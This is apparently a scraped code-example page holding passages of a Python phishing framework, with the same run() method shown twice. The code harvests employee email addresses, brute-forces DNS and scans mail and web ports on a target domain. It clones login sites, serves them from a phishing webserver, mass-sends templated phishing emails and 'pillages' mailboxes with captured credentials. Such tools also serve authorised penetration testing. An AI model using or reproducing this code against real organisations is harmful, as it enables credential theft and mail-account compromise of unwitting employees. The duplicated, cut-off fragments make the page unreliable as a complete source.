                    )
                    self.email_list += temp_list

                # gather email addresses
                if self.config["gather_emails"] == True:
                    if self.config["domain_name"] == "":
                        self.display.error("No target domain specified.  Can not gather email addresses.")
                    else:
                        self.display.verbose("Gathering emails via built-in methods")
                        self.display.verbose(Gather.get_sources())
                        if not self.gather:
                            self.gather = Gather(self.config["domain_name"], display=self.display)
                        temp_list = self.gather.emails()
                        self.display.verbose("Gathered [%s] email addresses from the Internet" % (len(temp_list)))
                        self.email_list += temp_list
                        print

                        # gather email addresses from external sources
                        if (self.config["gather_emails"] == True) and (self.config["enable_externals"] == True):
                            # theHarvester
                            self.display.verbose("Gathering emails via theHarvester")
                            thr = theHarvester(
                                self.config["domain_name"], self.config["theharvester_path"], display=self.display
                            )
                            out = thr.run()
                            if not out:
                                temp_list = thr.emails()
                                self.display.verbose(
                                    "Gathered [%s] email addresses from theHarvester" % (len(temp_list))
                                )
                                self.email_list += temp_list
                            else:
                                self.display.error(out)
                            print

                #                        # Recon-NG
                #                        self.display.verbose("Gathering emails via Recon-NG")
                #                        temp_list = reconng(self.config["domain_name"], self.config["reconng_path"]).gather()
                #                        self.display.verbose("Gathered [%s] email addresses from Recon-NG" % (len(temp_list)))
                #                        self.email_list += temp_list

                # sort/unique email list
                self.email_list = Utils.unique_list(self.email_list)
                self.email_list.sort()

                self.db.addUsers(self.email_list)

                # print list of email addresses
                self.display.verbose("Collected [%s] unique email addresses" % (len(self.email_list)))
                self.display.print_list("EMAIL LIST", self.email_list)
                for email in self.email_list:
                    self.display.log(email + "\n", filename="email_targets.txt")

        # ==================================================
        # Gather dns hosts
        # ==================================================

        if self.config["gather_dns"] == True:
            print
            self.display.output("Obtaining list of host on the %s domain" % (self.config["domain_name"]))
            self.display.verbose("Gathering hosts via built-in methods")

            # Gather hosts from internet search
            self.display.verbose(Gather.get_sources())
            if not self.gather:
                self.gather = Gather(self.config["domain_name"], display=self.display)
            temp_list = self.gather.hosts()
            self.display.verbose("Gathered [%s] hosts from the Internet Search" % (len(temp_list)))
            self.hostname_list += temp_list

            # Gather hosts from DNS lookups
            temp_list = Dns.xfr(self.config["domain_name"])
            self.display.verbose("Gathered [%s] hosts from DNS Zone Transfer" % (len(temp_list)))
            self.hostname_list += temp_list

            temp_list = Dns.ns(self.config["domain_name"])
            temp_list = Utils.filterList(temp_list, self.config["domain_name"])
            self.display.verbose("Gathered [%s] hosts from DNS NS lookups" % (len(temp_list)))
            self.hostname_list += temp_list

            temp_list = Dns.mx(self.config["domain_name"])
            temp_list = Utils.filterList(temp_list, self.config["domain_name"])
            self.display.verbose("Gathered [%s] hosts from DNS MX lookups" % (len(temp_list)))
            self.hostname_list += temp_list

            # Gather hosts from dictionary lookup
            temp_list = Dns.brute(self.config["domain_name"], display=self.display)
            self.display.verbose("Gathered [%s] hosts from DNS BruteForce/Dictionay Lookup" % (len(temp_list)))
            self.hostname_list += temp_list

            # sort/unique hostname list
            self.hostname_list = Utils.unique_list(self.hostname_list)
            self.hostname_list.sort()

            self.db.addHosts(self.hostname_list)

            # print list of hostnames
            self.display.verbose("Collected [%s] unique host names" % (len(self.hostname_list)))
            self.display.print_list("HOST LIST", self.hostname_list)

        # ==================================================
        # Perform Port Scans
        # ==================================================

        if self.config["gather_dns"] == True:
            self.display.output("Performing basic port scans of any identified hosts.")
            self.server_list[80] = []
            self.server_list[443] = []
            self.server_list[110] = []
            self.server_list[995] = []
            self.server_list[143] = []
            self.server_list[993] = []
            self.server_list[25] = []

            for host in self.hostname_list:
                openports = portscan.scan(host, [25, 80, 110, 143, 443, 993, 995])
                found = False
                for port in openports:
                    self.db.addPort(port, host)
                    if port == 80:
                        self.display.verbose("Found website at: %s 80" % (host))
                        self.server_list[80].append(host)
                        found = True
                    elif port == 443:
                        self.display.verbose("Found website at: %s 443" % (host))
                        self.server_list[443].append(host)
                        found = True
                    elif port == 110:
                        self.display.verbose("Found POP at    : %s 110" % (host))
                        self.server_list[110].append(host)
                        found = True
                    elif port == 995:
                        self.display.verbose("Found POPS at   : %s 995" % (host))
                        self.server_list[995].append(host)
                        found = True
                    elif port == 143:
                        self.display.verbose("Found IMAP at   : %s 143" % (host))
                        self.server_list[143].append(host)
                        found = True
                    elif port == 993:
                        self.display.verbose("Found IMAPS at  : %s 993" % (host))
                        self.server_list[993].append(host)
                        found = True
                    elif port == 25:
                        self.display.verbose("Found SMTP at   : %s 25" % (host))
                        self.server_list[25].append(host)
                        found = True
                    if found:
                        self.display.log(host + "\n", filename="hosts.txt")

        # ==================================================
        # Profile Web Sites
        # ==================================================

        if self.config["profile_domain"] == True:
            self.display.output("Determining if any of the identified hosts have web servers.")

            for host in self.server_list[80]:
                p = profiler()
                profile_results = p.run("http://" + host, debug=False)
                if profile_results and (len(profile_results) > 0):
                    max_key = ""
                    max_value = 0
                    for key, value in profile_results:
                        if value.getscore() > max_value:
                            max_key = key
                            max_value = value.getscore()
                    if max_value > 0:
                        self.display.verbose("POSSIBLE MATCH FOR [http://%s] => [%s]" % (host, max_key))
                        self.profile_valid_web_templates.append(max_key)
                else:
                    if p.hasLogin("http://" + host):
                        self.profile_dynamic_web_templates.append("http://" + host)

            for host in self.server_list[443]:
                p = profiler()
                profile_results = p.run("https://" + host, debug=False)
                if profile_results and (len(profile_results) > 0):
                    max_key = ""
                    max_value = 0
                    for key, value in profile_results:
                        if value.getscore() > max_value:
                            max_key = key
                            max_value = value.getscore()
                    if max_value > 0:
                        self.display.verbose("POSSIBLE MATCH FOR [https://%s] => [%s]" % (host, max_key))
                        self.profile_valid_web_templates.append(max_key)
                else:
                    if p.hasLogin("https://" + host):
                        self.display.verbose("POSSIBLE DYNAMIC TEMPLATE SITE [https://%s]" % (host))
                        self.profile_dynamic_web_templates.append("https://" + host)

            self.profile_valid_web_templates = Utils.unique_list(self.profile_valid_web_templates)
            self.profile_valid_web_templates.sort()
            # print list of valid templatess
            self.display.verbose("Collected [%s] valid web templates" % (len(self.profile_valid_web_templates)))
            self.display.print_list("VALID TEMPLATE LIST", self.profile_valid_web_templates)

            self.profile_dynamic_web_templates = Utils.unique_list(self.profile_dynamic_web_templates)
            self.profile_dynamic_web_templates.sort()

            # print list of valid templatess
            self.display.verbose("Collected [%s] dynamic web templates" % (len(self.profile_dynamic_web_templates)))
            self.display.print_list("DYNAMIC TEMPLATE LIST", self.profile_dynamic_web_templates)

            self.display.output("Cloning any DYNAMIC sites")
            for template in self.profile_dynamic_web_templates:
                sc = SiteCloner(clone_dir=self.logpath)
                tdir = sc.cloneUrl(template)
                self.display.verbose("Cloning [%s] to [%s]" % (template, tdir))
                self.db.addWebTemplate(ttype="dynamic", src_url=template, tdir=tdir)

            for f in os.listdir(self.config["web_template_path"]):
                template_file = os.path.join(self.config["web_template_path"], f) + "/CONFIG"
                #                self.db.addWebTemplate(ttype="static", src_url="", tdir=os.path.join(self.config["web_template_path"], f))
                for line in open(template_file).readlines():
                    for tem in self.profile_valid_web_templates:
                        if re.match("^VHOST=\s*" + tem + "\s*$", line, re.IGNORECASE):
                            self.db.addWebTemplate(
                                ttype="static", src_url="", tdir=os.path.join(self.config["web_template_path"], f)
                            )
                            break

        # ==================================================
        # Load web sites
        # ==================================================

        if self.config["enable_web"] == True:
            print
            self.display.output("Starting phishing webserver")
            if self.config["always_yes"] or self.display.yn("Continue", default="y"):

                path = os.path.dirname(os.path.realpath(__file__))
                # Start process
                cmd = [path + "/../web.py", Utils.compressDict(self.config)]
                self.webserver = subprocess.Popen(cmd, shell=False, stdout=subprocess.PIPE)

                # monitor output to gather website information
                while True:
                    line = self.webserver.stdout.readline()
                    line = line.strip()
                    if line == "Websites loaded and launched.":
                        break
                    if line != "":
                        self.display.verbose(line)
                        match = re.search("Started website", line)
                        VHOST = ""
                        PORT = ""
                        if match:
                            parts = line.split("[")
                            VHOST = parts[1].split("]")
                            VHOST = VHOST[0].strip()
                            PORT = parts[2].split("]")
                            PORT = PORT[0].strip()
                            PORT = PORT[7:]
                            # keep the URL clean
                            # if port is 80, then it does not need to be included in the URL
                            if PORT[-3:] == ":80":
                                PORT = PORT[:-3]

                            self.config[VHOST + "_port"] = PORT
                            self.config[VHOST + "_vhost"] = VHOST
                            Utils.screenCaptureWebSite("http://" + PORT, self.logpath + PORT + "_" + VHOST + ".png")
                            Utils.screenCaptureWebSite(
                                "http://" + VHOST + "." + self.config["phishing_domain"],
                                self.logpath + VHOST + "." + self.config["phishing_domain"] + ".png",
                            )

                # Write PID file
                pidfilename = os.path.join(self.pid_path, "spfwebsrv.pid")
                pidfile = open(pidfilename, "w")
                pidfile.write(str(self.webserver.pid))
                pidfile.close()
                self.webserverpid = self.webserver.pid
                self.display.verbose("Started WebServer with pid = [%s]" % self.webserver.pid)

        # ==================================================
        # Build array of email templates
        # ==================================================

        if ((self.email_list is not None) and (self.email_list)) and (
            (self.config["enable_email_sending"] == True) or (self.config["simulate_email_sending"] == True)
        ):
            print
            self.display.verbose("Locating phishing email templates")
            if self.config["always_yes"] or self.display.yn("Continue", default="y"):

                # loop over each email template
                for f in os.listdir("templates/email/"):
                    template_file = os.path.join("templates/email/", f)
                    self.display.debug("Found the following email template: [%s]" % template_file)

                    if (Utils.is_readable(template_file)) and (os.path.isfile(template_file)):
                        # read in the template SUBJECT, TYPE, and BODY
                        TYPE = ""
                        SUBJECT = ""
                        BODY = ""
                        with open(template_file, "r") as myfile:
                            for line in myfile.readlines():
                                match = re.search("TYPE=", line)
                                if match:
                                    TYPE = line.replace('"', "")
                                    TYPE = TYPE.split("=")
                                    TYPE = TYPE[1].lower().strip()
                                match2 = re.search("SUBJECT=", line)
                                if match2:
                                    SUBJECT = line.replace('"', "")
                                    SUBJECT = SUBJECT.split("=")
                                    SUBJECT = SUBJECT[1].strip()
                                match3 = re.search("BODY=", line)
                                if match3:
                                    BODY = line.replace('"', "")
                                    BODY = BODY.replace(r"\n", "\n")
                                    BODY = BODY.split("=")
                                    BODY = BODY[1].strip()
                        self.email_templates[TYPE].append(EmailTemplate(TYPE, SUBJECT, BODY))

        # ==================================================
        # Generate/Send phishing emails
        # ==================================================

        if (self.config["enable_email_sending"] == True) or (self.config["simulate_email_sending"] == True):
            if (self.config["determine_smtp"] == "1") and (self.config["use_specific_smtp"] == "1"):
                self.display.error("ONLY 1 of DETERMINE_SMTP or USE_SPECIFIC_SMTP can be enabled at a time.")
            else:
                print
                self.display.output("Sending phishing emails")
                if self.config["always_yes"] or self.display.yn("Continue", default="y"):

                    templates_logged = []
                    # do we have any emails top send?
                    if self.email_list:
                        temp_target_list = self.email_list
                        temp_delay = 1
                        if self.config["email_delay"] is not None:
                            temp_delay = int(self.config["email_delay"])
                        send_count = 0
                        # while there are still target email address, loop
                        while temp_target_list and (send_count < (int(self.config["emails_max"]))):
                            # inc number of emails we have attempted to send
                            send_count = send_count + 1
                            # delay requested amount of time between sending emails
                            time.sleep(temp_delay)
                            # for each type of email (citrix, owa, office365, ...)
                            for key in self.email_templates:
                                # double check
                                if temp_target_list:
                                    # for each email template of the given type
                                    for template in self.email_templates[key]:
                                        # double check
                                        if temp_target_list:
                                            # grab a new target email address
                                            target = temp_target_list.pop(0)
                                            self.display.verbose("Sending Email to [%s]" % target)
                                            # FROM = "support@" + self.config["phishing_domain"]
                                            FROM = self.config["smtp_fromaddr"]

                                            SUBJECT = template.getSUBJECT()
                                            BODY = template.getBODY()

                                            # perform necessary SEARCH/REPLACE
                                            if self.config["enable_host_based_vhosts"] == "1":
                                                BODY = BODY.replace(
                                                    r"[[TARGET]]",
                                                    "http://" + key + "." + self.config["phishing_domain"],
                                                )
                                                if self.config["default_web_port"] != "80":
                                                    BODY += ":" + self.config["default_web_port"]
                                            else:
                                                BODY = BODY.replace(
                                                    r"[[TARGET]]", "http://" + self.config[key + "_port"]
                                                )

                                            # log
                                            if key not in templates_logged:
                                                self.display.log(
                                                    "----------------------------------------------\n\n"
                                                    + "TO: <XXXXX>\n"
                                                    + "FROM: "
                                                    + FROM
                                                    + "\n"
                                                    + "SUBJECT: "
                                                    + SUBJECT
                                                    + "\n\n"
                                                    + BODY
                                                    + "\n\n"
                                                    + "----------------------------------------------\n\n"
                                                    + "TARGETS:\n"
                                                    + "--------\n",
                                                    filename="email_template_" + key + ".txt",
                                                )
                                                templates_logged.append(key)
                                            self.display.log(target + "\n", filename="email_template_" + key + ".txt")

                                            # send the email
                                            if self.config["simulate_email_sending"] == True:
                                                self.display.output(
                                                    "Would have sent an email to [%s] with subject of [%s], but this was just a test."
                                                    % (target, SUBJECT)
                                                )
                                            else:
                                                try:
                                                    if self.config["determine_smtp"] == "1":
                                                        emails.send_email_direct(
                                                            target, FROM, SUBJECT, BODY, debug=True
                                                        )
                                                    if self.config["use_specific_smtp"] == "1":
                                                        # self.display.error("[USE_SPECIFIC_SMTP] not implemented")
                                                        print self.config["smtp_fromaddr"]
                                                        emails.send_email_account(
                                                            self.config["smtp_server"],
                                                            int(self.config["smtp_port"]),
                                                            self.config["smtp_user"],
                                                            self.config["smtp_pass"],
                                                            target,
                                                            self.config["smtp_fromaddr"],
                                                            SUBJECT,
                                                            BODY,
                                                            debug=True,
                                                        )
                                                except:
                                                    self.display.error(sys.exc_info()[0])

        # ==================================================
        # Monitor web sites
        # ==================================================

        if self.config["enable_web"] == True:
            print
            self.display.output("Monitoring phishing website activity!")
            self.display.alert("(Press CTRL-C to stop collection and generate report!)")
            if self.webserver:
                while True:
                    line = self.webserver.stdout.readline()
                    line = line.strip()
                    if self.config["pillage_email"]:
                        self.pillage(line)
                    self.display.output(line)
Example #35
0
class Framework(object):
    def __init__(self):
        self.config = {}  # dict to contain combined list of config file options and commandline parameters
        self.email_list = []  # list of email targets
        self.hostname_list = []  # list of dns hosts
        self.server_list = {}
        self.profile_valid_web_templates = []
        self.profile_dynamic_web_templates = []
        self.pillaged_users = []
        self.bestMailServerPort = None
        self.bestMailServer = None
        self.webserver = None  # web server process
        self.webserverpid = None
        self.gather = None
        self.mp = None  # mail pillager

        # initialize some config options
        self.config["domain_name"] = ""
        self.config["phishing_domain"] = ""
        self.config["company_name"] = ""
        self.config["config_filename"] = ""
        self.config["email_list_filename"] = ""

        # default all bool values to False
        self.config["verbose"] = False
        self.config["gather_emails"] = False
        self.config["gather_dns"] = False
        self.config["enable_externals"] = False
        self.config["enable_web"] = False
        self.config["enable_email"] = False
        self.config["enable_email_sending"] = False
        self.config["simulate_email_sending"] = False
        self.config["daemon_web"] = False
        self.config["always_yes"] = False
        self.config["enable_advanced"] = False
        self.config["profile_domain"] = False
        self.config["pillage_email"] = False

        # get current IP
        self.config["ip"] = Utils.getIP()

        # set a few misc values
        self.pid_path = os.path.dirname(os.path.realpath(__file__)) + "/../"
        self.display = Display()
        self.email_templates = defaultdict(list)

    # ==================================================
    # SUPPORT METHODS
    # ==================================================

    def ctrlc(self):
        print
        self.display.alert("Ctrl-C caught!!!")
        self.cleanup()

    def cleanup(self):
        print
        if self.webserver is not None:
            if self.config["daemon_web"]:
                self.display.alert("Webserver is still running as requested.")
            else:
                # send SIGTERM to the web process
                self.display.output("stopping the webserver")
                self.webserver.send_signal(signal.SIGINT)
                # delete the pid file
                os.remove(self.pid_path + "spfwebsrv.pid")
                # as a double check, manually kill the process
                self.killProcess(self.webserverpid)
        # call report generation
        self.generateReport()
        # exit
        sys.exit(0)

    def killProcess(self, pid):
        if os.path.exists("/proc/" + str(pid)):
            self.display.alert("Killing process [%s]" % (pid))
            os.kill(pid, signal.SIGKILL)
            if os.path.isfile(self.pid_path + "spfwebsrv.pid"):
                os.remove(self.pid_path + "spfwebsrv.pid")

    def generateReport(self):
        self.display.output("Generating phishing report")
        self.display.log("ENDTIME=%s\n" % (time.strftime("%Y/%m/%d %H:%M:%S")), filename="INFO.txt")

        path = os.path.dirname(os.path.realpath(__file__))
        # Start process
        cmd = [path + "/../report.py", self.logpath]
        self.display.output("Report file located at %s%s" % (self.logpath, subprocess.check_output(cmd)))

    def parse_parameters(self, argv):
        parser = argparse.ArgumentParser()

        # ==================================================
        # Required Args
        # ==================================================
        #        requiredgroup = parser.add_argument_group('required arguments')
        #        requiredgroup.add_argument("-d",
        #                            metavar="<domain>",
        #                            dest="domain",
        #                            action='store',
        #                            required=True,
        #                            help="domain name to phish")

        # ==================================================
        # Input Files
        # ==================================================
        filesgroup = parser.add_argument_group("input files")
        filesgroup.add_argument(
            "-f",
            metavar="<list.txt>",
            dest="email_list_file",
            action="store",
            #                            type=argparse.FileType('r'),
            help="file containing list of email addresses",
        )
        filesgroup.add_argument(
            "-C",
            metavar="<config.txt>",
            dest="config_file",
            action="store",
            #                            type=argparse.FileType('r'),
            help="config file",
        )

        # ==================================================
        # Enable Flags
        # ==================================================
        enablegroup = parser.add_argument_group("enable flags")
        enablegroup.add_argument(
            "--all",
            dest="enable_all",
            action="store_true",
            help="enable ALL flags... same as (-g --external -s -w -v -v -y)",
        )
        enablegroup.add_argument(
            "--test",
            dest="enable_test",
            action="store_true",
            help="enable all flags EXCEPT sending of emails... same as (-g --external --simulate -w -y -v -v)",
        )
        enablegroup.add_argument(
            "--recon",
            dest="enable_recon",
            action="store_true",
            help="gather info (i.e. email addresses, dns hosts, websites, etc...) same as (-e --dns)",
        )
        enablegroup.add_argument(
            "--external", dest="enable_external", action="store_true", help="enable external tool utilization"
        )
        enablegroup.add_argument(
            "--dns", dest="enable_gather_dns", action="store_true", help="enable automated gathering of dns hosts"
        )
        enablegroup.add_argument(
            "-g", dest="enable_gather_email", action="store_true", help="enable automated gathering of email targets"
        )
        enablegroup.add_argument(
            "-s",
            dest="enable_send_email",
            action="store_true",
            help="enable automated sending of phishing emails to targets",
        )
        enablegroup.add_argument(
            "--simulate",
            dest="simulate_send_email",
            action="store_true",
            help="simulate the sending of phishing emails to targets",
        )
        enablegroup.add_argument(
            "-w", dest="enable_web", action="store_true", help="enable generation of phishing web sites"
        )
        enablegroup.add_argument(
            "-W", dest="daemon_web", action="store_true", help="leave web server running after termination of spf.py"
        )

        # ==================================================
        # Advanced Flags
        # ==================================================
        advgroup = parser.add_argument_group("ADVANCED")
        advgroup.add_argument(
            "--adv",
            dest="enable_advanced",
            action="store_true",
            help="perform all ADVANCED features same as (--dns --profile --pillage)",
        )
        advgroup.add_argument(
            "--profile",
            dest="profile_domain",
            action="store_true",
            help="profile the target domain (requires the --dns flag)",
        )
        advgroup.add_argument(
            "--pillage",
            dest="pillage_email",
            action="store_true",
            help="auto pillage email accounts (requires the --dns flag)",
        )

        # ==================================================
        # Optional Args
        # ==================================================
        parser.add_argument("-d", metavar="<domain>", dest="domain", action="store", help="domain name to phish")
        parser.add_argument(
            "-p",
            metavar="<domain>",
            dest="phishdomain",
            default="example.com",
            action="store",
            help="newly registered 'phish' domain name",
        )
        parser.add_argument(
            "-c", metavar="<company's name>", dest="company", action="store", help="name of company to phish"
        )
        parser.add_argument(
            "--ip",
            metavar="<IP address>",
            dest="ip",
            default=Utils.getIP(),
            action="store",
            help="IP of webserver defaults to [%s]" % (Utils.getIP()),
        )
        parser.add_argument("-v", "--verbosity", dest="verbose", action="count", help="increase output verbosity")

        # ==================================================
        # Misc Flags
        # ==================================================
        miscgroup = parser.add_argument_group("misc")
        miscgroup.add_argument(
            "-y", dest="always_yes", action="store_true", help="automatically answer yes to all questions"
        )

        args = parser.parse_args()

        # convert parameters to values in the config dict
        self.config["domain_name"] = args.domain
        if self.config["domain_name"] is None:
            self.config["domain_name"] = ""
        self.config["phishing_domain"] = args.phishdomain
        if self.config["phishing_domain"] is None:
            self.config["phishing_domain"] = "example.com"
        self.config["company_name"] = args.company
        self.config["ip"] = args.ip
        self.config["config_filename"] = args.config_file
        self.config["email_list_filename"] = args.email_list_file
        self.config["verbose"] = args.verbose
        self.config["gather_emails"] = args.enable_gather_email
        self.config["gather_dns"] = args.enable_gather_dns
        self.config["profile_domain"] = args.profile_domain
        self.config["pillage_email"] = args.pillage_email
        self.config["enable_externals"] = args.enable_external
        self.config["enable_web"] = args.enable_web
        self.config["enable_email_sending"] = args.enable_send_email
        self.config["simulate_email_sending"] = args.simulate_send_email
        self.config["daemon_web"] = args.daemon_web
        self.config["always_yes"] = args.always_yes

        if args.enable_recon == True:
            self.config["gather_emails"] = True
            self.config["gather_dns"] = True

        if args.enable_all == True:
            self.config["gather_emails"] = True
            self.config["enable_externals"] = True
            self.config["enable_web"] = True
            self.config["enable_email_sending"] = True
            self.config["verbose"] = 2
            self.config["always_yes"] = True

        if args.enable_test == True:
            self.config["gather_emails"] = True
            self.config["enable_externals"] = True
            self.config["simulate_email_sending"] = True
            self.config["enable_web"] = True
            self.config["always_yes"] = True
            self.config["verbose"] = 2

        if args.enable_advanced == True:
            self.config["gather_dns"] = True
            self.config["profile_domain"] = True
            self.config["pillage_email"] = True

        if self.config["profile_domain"] and not self.config["gather_dns"]:
            self.config["profile_domain"] = False
            self.display.error("--profile requires the --dns option to be enabled as well.")

        if self.config["pillage_email"] and not self.config["gather_dns"]:
            self.config["pillage_email"] = False
            self.display.error("--pillage requires the --dns option to be enabled as well.")

        good = False
        if (
            self.config["gather_emails"]
            or self.config["enable_externals"]
            or self.config["enable_web"]
            or self.config["enable_email_sending"]
            or self.config["simulate_email_sending"]
            or self.config["gather_dns"]
            or self.config["profile_domain"]
            or self.config["pillage_email"]
        ):
            good = True
        if not good:
            self.display.error(
                "Please enable at least one of the following parameters: -g --external --dns -s --simulate -w ( --all --test --recon --adv )"
            )
            print
            parser.print_help()
            sys.exit(1)

    # ==================================================
    # Primary METHOD
    # ==================================================

    def run(self, argv):

        # ==================================================
        # Process/Load commanline args and config file
        # ==================================================

        self.parse_parameters(argv)

        # load the config file
        if self.config["config_filename"] is not None:
            temp1 = self.config
            temp2 = Utils.load_config(self.config["config_filename"])
            self.config = dict(temp2.items() + temp1.items())
        else:
            if Utils.is_readable("default.cfg"):
                self.display.error("a CONFIG FILE was not specified...  defaulting to [default.cfg]")
                print
                temp1 = self.config
                temp2 = Utils.load_config("default.cfg")
                self.config = dict(temp2.items() + temp1.items())
            else:
                self.display.error("a CONFIG FILE was not specified...")
                print
                sys.exit()

        # set verbosity level
        if self.config["verbose"] >= 1:
            self.display.enableVerbose()
        if self.config["verbose"] > 1:
            self.display.enableDebug()

        # set logging path
        self.logpath = os.getcwd() + "/" + self.config["domain_name"] + "_" + self.config["phishing_domain"] + "/"
        if not os.path.exists(os.path.dirname(self.logpath)):
            os.makedirs(os.path.dirname(self.logpath))

        self.display.setLogPath(self.logpath)
        # print self.logpath
        self.db = MyDB(sqlite_file=self.logpath)

        self.display.log("STARTTIME=%s\n" % (time.strftime("%Y/%m/%d %H:%M:%S")), filename="INFO.txt")
        self.display.log("TARGETDOMAIN=%s\n" % (self.config["domain_name"]), filename="INFO.txt")
        self.display.log("PHISHINGDOMAIN=%s\n" % (self.config["phishing_domain"]), filename="INFO.txt")

        # ==================================================
        # Load/Gather target email addresses
        # ==================================================

        if (self.config["email_list_filename"] is not None) or (self.config["gather_emails"] == True):
            print
            self.display.output("Obtaining list of email targets")
            if self.config["always_yes"] or self.display.yn("Continue", default="y"):

                # if an external emaillist file was specified, read it in
                if self.config["email_list_filename"] is not None:
                    file = open(self.config["email_list_filename"], "r")
                    temp_list = file.read().splitlines()
                    self.display.verbose(
                        "Loaded [%s] email addresses from [%s]" % (len(temp_list), self.config["email_list_filename"])
                    )
                    self.email_list += temp_list

                # gather email addresses
                if self.config["gather_emails"] == True:
                    if self.config["domain_name"] == "":
                        self.display.error("No target domain specified.  Can not gather email addresses.")
                    else:
                        self.display.verbose("Gathering emails via built-in methods")
                        self.display.verbose(Gather.get_sources())
                        if not self.gather:
                            self.gather = Gather(self.config["domain_name"], display=self.display)
                        temp_list = self.gather.emails()
                        self.display.verbose("Gathered [%s] email addresses from the Internet" % (len(temp_list)))
                        self.email_list += temp_list
                        print

                        # gather email addresses from external sources
                        if (self.config["gather_emails"] == True) and (self.config["enable_externals"] == True):
                            # theHarvester
                            self.display.verbose("Gathering emails via theHarvester")
                            thr = theHarvester(
                                self.config["domain_name"], self.config["theharvester_path"], display=self.display
                            )
                            out = thr.run()
                            if not out:
                                temp_list = thr.emails()
                                self.display.verbose(
                                    "Gathered [%s] email addresses from theHarvester" % (len(temp_list))
                                )
                                self.email_list += temp_list
                            else:
                                self.display.error(out)
                            print

                #                        # Recon-NG
                #                        self.display.verbose("Gathering emails via Recon-NG")
                #                        temp_list = reconng(self.config["domain_name"], self.config["reconng_path"]).gather()
                #                        self.display.verbose("Gathered [%s] email addresses from Recon-NG" % (len(temp_list)))
                #                        self.email_list += temp_list

                # sort/unique email list
                self.email_list = Utils.unique_list(self.email_list)
                self.email_list.sort()

                self.db.addUsers(self.email_list)

                # print list of email addresses
                self.display.verbose("Collected [%s] unique email addresses" % (len(self.email_list)))
                self.display.print_list("EMAIL LIST", self.email_list)
                for email in self.email_list:
                    self.display.log(email + "\n", filename="email_targets.txt")

        # ==================================================
        # Gather dns hosts
        # ==================================================

        if self.config["gather_dns"] == True:
            print
            self.display.output("Obtaining list of host on the %s domain" % (self.config["domain_name"]))
            self.display.verbose("Gathering hosts via built-in methods")

            # Gather hosts from internet search
            self.display.verbose(Gather.get_sources())
            if not self.gather:
                self.gather = Gather(self.config["domain_name"], display=self.display)
            temp_list = self.gather.hosts()
            self.display.verbose("Gathered [%s] hosts from the Internet Search" % (len(temp_list)))
            self.hostname_list += temp_list

            # Gather hosts from DNS lookups
            temp_list = Dns.xfr(self.config["domain_name"])
            self.display.verbose("Gathered [%s] hosts from DNS Zone Transfer" % (len(temp_list)))
            self.hostname_list += temp_list

            temp_list = Dns.ns(self.config["domain_name"])
            temp_list = Utils.filterList(temp_list, self.config["domain_name"])
            self.display.verbose("Gathered [%s] hosts from DNS NS lookups" % (len(temp_list)))
            self.hostname_list += temp_list

            temp_list = Dns.mx(self.config["domain_name"])
            temp_list = Utils.filterList(temp_list, self.config["domain_name"])
            self.display.verbose("Gathered [%s] hosts from DNS MX lookups" % (len(temp_list)))
            self.hostname_list += temp_list

            # Gather hosts from dictionary lookup
            temp_list = Dns.brute(self.config["domain_name"], display=self.display)
            self.display.verbose("Gathered [%s] hosts from DNS BruteForce/Dictionay Lookup" % (len(temp_list)))
            self.hostname_list += temp_list

            # sort/unique hostname list
            self.hostname_list = Utils.unique_list(self.hostname_list)
            self.hostname_list.sort()

            self.db.addHosts(self.hostname_list)

            # print list of hostnames
            self.display.verbose("Collected [%s] unique host names" % (len(self.hostname_list)))
            self.display.print_list("HOST LIST", self.hostname_list)

        # ==================================================
        # Perform Port Scans
        # ==================================================

        if self.config["gather_dns"] == True:
            self.display.output("Performing basic port scans of any identified hosts.")
            self.server_list[80] = []
            self.server_list[443] = []
            self.server_list[110] = []
            self.server_list[995] = []
            self.server_list[143] = []
            self.server_list[993] = []
            self.server_list[25] = []

            for host in self.hostname_list:
                openports = portscan.scan(host, [25, 80, 110, 143, 443, 993, 995])
                found = False
                for port in openports:
                    self.db.addPort(port, host)
                    if port == 80:
                        self.display.verbose("Found website at: %s 80" % (host))
                        self.server_list[80].append(host)
                        found = True
                    elif port == 443:
                        self.display.verbose("Found website at: %s 443" % (host))
                        self.server_list[443].append(host)
                        found = True
                    elif port == 110:
                        self.display.verbose("Found POP at    : %s 110" % (host))
                        self.server_list[110].append(host)
                        found = True
                    elif port == 995:
                        self.display.verbose("Found POPS at   : %s 995" % (host))
                        self.server_list[995].append(host)
                        found = True
                    elif port == 143:
                        self.display.verbose("Found IMAP at   : %s 143" % (host))
                        self.server_list[143].append(host)
                        found = True
                    elif port == 993:
                        self.display.verbose("Found IMAPS at  : %s 993" % (host))
                        self.server_list[993].append(host)
                        found = True
                    elif port == 25:
                        self.display.verbose("Found SMTP at   : %s 25" % (host))
                        self.server_list[25].append(host)
                        found = True
                    if found:
                        self.display.log(host + "\n", filename="hosts.txt")

        # ==================================================
        # Profile Web Sites
        # ==================================================

        if self.config["profile_domain"] == True:
            self.display.output("Determining if any of the identified hosts have web servers.")

            for host in self.server_list[80]:
                p = profiler()
                profile_results = p.run("http://" + host, debug=False)
                if profile_results and (len(profile_results) > 0):
                    max_key = ""
                    max_value = 0
                    for key, value in profile_results:
                        if value.getscore() > max_value:
                            max_key = key
                            max_value = value.getscore()
                    if max_value > 0:
                        self.display.verbose("POSSIBLE MATCH FOR [http://%s] => [%s]" % (host, max_key))
                        self.profile_valid_web_templates.append(max_key)
                else:
                    if p.hasLogin("http://" + host):
                        self.profile_dynamic_web_templates.append("http://" + host)

            for host in self.server_list[443]:
                p = profiler()
                profile_results = p.run("https://" + host, debug=False)
                if profile_results and (len(profile_results) > 0):
                    max_key = ""
                    max_value = 0
                    for key, value in profile_results:
                        if value.getscore() > max_value:
                            max_key = key
                            max_value = value.getscore()
                    if max_value > 0:
                        self.display.verbose("POSSIBLE MATCH FOR [https://%s] => [%s]" % (host, max_key))
                        self.profile_valid_web_templates.append(max_key)
                else:
                    if p.hasLogin("https://" + host):
                        self.display.verbose("POSSIBLE DYNAMIC TEMPLATE SITE [https://%s]" % (host))
                        self.profile_dynamic_web_templates.append("https://" + host)

            self.profile_valid_web_templates = Utils.unique_list(self.profile_valid_web_templates)
            self.profile_valid_web_templates.sort()
            # print list of valid templatess
            self.display.verbose("Collected [%s] valid web templates" % (len(self.profile_valid_web_templates)))
            self.display.print_list("VALID TEMPLATE LIST", self.profile_valid_web_templates)

            self.profile_dynamic_web_templates = Utils.unique_list(self.profile_dynamic_web_templates)
            self.profile_dynamic_web_templates.sort()

            # print list of valid templatess
            self.display.verbose("Collected [%s] dynamic web templates" % (len(self.profile_dynamic_web_templates)))
            self.display.print_list("DYNAMIC TEMPLATE LIST", self.profile_dynamic_web_templates)

            self.display.output("Cloning any DYNAMIC sites")
